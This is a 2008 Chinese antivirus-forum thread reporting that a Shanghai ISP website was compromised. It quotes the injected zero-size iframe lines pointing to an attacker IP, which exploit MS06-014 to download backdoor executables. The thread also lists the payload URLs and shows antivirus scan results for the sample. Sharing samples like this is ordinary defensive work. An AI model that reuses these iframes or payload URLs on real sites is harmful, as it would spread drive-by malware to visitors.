上海热线挖来的

promised

昨天他们只挖了一个

http://isp.online.sh.cn
尾部被植入恶意iframe
<iframe src="http://218.1.73.201/serdir.htm" width=0 height=0></iframe>
<iframe src="http://218.1.73.201/query.htm" width=0 height=0></iframe>
http://218.1.73.201/serdir.htm采用16进制加密
利用MS-06014漏洞下载病毒文件http://218.1.73.201/manage/images/winlogo.exe
http://218.1.73.201/query.htm同上
下载病毒文件http://218.1.73.201/manage/images/svchost.exe

http://218.1.73.201/manage/images/svchost.exe上兴远控

[ 本帖最后由 promised 于 2008-10-3 14:04 编辑 ]

promised

AhnLab-V3 2008.10.3.0 2008.10.02 -
AntiVir 7.8.1.34 2008.10.02 HEUR/Crypted
Authentium 5.1.0.4 2008.10.02 -
Avast 4.8.1248.0 2008.10.02 -
AVG 8.0.0.161 2008.10.03 -
BitDefender 7.2 2008.10.03 -
CAT-QuickHeal 9.50 2008.10.03 (Suspicious) - DNAScan
ClamAV 0.93.1 2008.10.02 -
DrWeb 4.44.0.09170 2008.10.03 -
eSafe 7.0.17.0 2008.10.02 -
eTrust-Vet 31.6.6126 2008.10.03 -
Ewido 4.0 2008.10.02 -
F-Prot 4.4.4.56 2008.10.02 -
F-Secure 8.0.14332.0 2008.10.03 -
Fortinet 3.113.0.0 2008.10.03 -
GData 19 2008.10.03 -
Ikarus T3.1.1.34.0 2008.10.03 -
K7AntiVirus 7.10.481 2008.10.02 -
Kaspersky 7.0.0.125 2008.10.03 -
McAfee 5397 2008.10.02 -
Microsoft 1.4005 2008.10.03 -
NOD32 3491 2008.10.03 -
Norman 5.80.02 2008.10.02 -
Panda 9.0.0.4 2008.10.03 Suspicious file
PCTools 4.4.2.0 2008.10.02 -
Prevx1 V2 2008.10.03 -
Rising 20.63.62.00 2008.09.28 -
SecureWeb-Gateway 6.7.6 2008.10.03 Heuristic.Crypted
Sophos 4.34.0 2008.10.03 -
Sunbelt 3.1.1675.1 2008.09.27 VIPRE.Suspicious
Symantec 10 2008.10.03 -
TheHacker 6.3.1.0.099 2008.10.03 -
TrendMicro 8.700.0.1004 2008.10.03 -
VBA32 3.12.8.6 2008.10.02 suspected of Trojan-Dropper.Agent.32 (paranoid heuristics)
ViRobot 2008.10.2.1403 2008.10.02 -
VirusBuster 4.5.11.0 2008.10.02 -

[ 本帖最后由 promised 于 2008-10-3 14:18 编辑 ]

1688388728

发现病毒: Backdoor.Hupigon.AAAH (引擎 A)
文件: svchost.exe
目录: C:\Documents and Settings\Administrator\桌面\vir\vir
进程: Explorer.EXE

就当我是上帝

是不是就是那个什么“拨号上网”里面的？

今天还是有报这个的……

该死

promised

已经联系他们了
估计是国庆节
这帮人放假

江湖的fans

我的卡巴启发掉了！

kkgh

瑞星09     Trojan.Spy.Win32.Agent.aq

wrq

Kaspersky Lab
拒绝访问
无法返回请求的网页

试图访问的网页：

http://bbs.kafan.cn/attachment.php?aid=
370095&k=4ab5e5e6a80c69211f8b84ae152a322
d&t=1223016818

发生下列错误：

请求的对象被感染，发现下列病毒 Backdoor.Win32.Hupigon.egwa


如有疑问，请联系您的技术支持
创建日期：
Fri Oct 03 14:54:44 2008
Kaspersky Lab

Palkia

C:\Documents and Settings\Administrator\桌面\vir.rar>>vir\svchost.exe        Trojan.Cap81031.crzp        木马        还未处理

尤金卡巴斯基

2008/10/3 23:32:20 已清除 木马程序 Backdoor.Win32.Hupigon.egwa G:\Temp\Virus\vir.rar/vir\svchost.exe  

漏了一个To KL

[ 本帖最后由 尤金卡巴斯基 于 2008-10-3 23:38 编辑 ]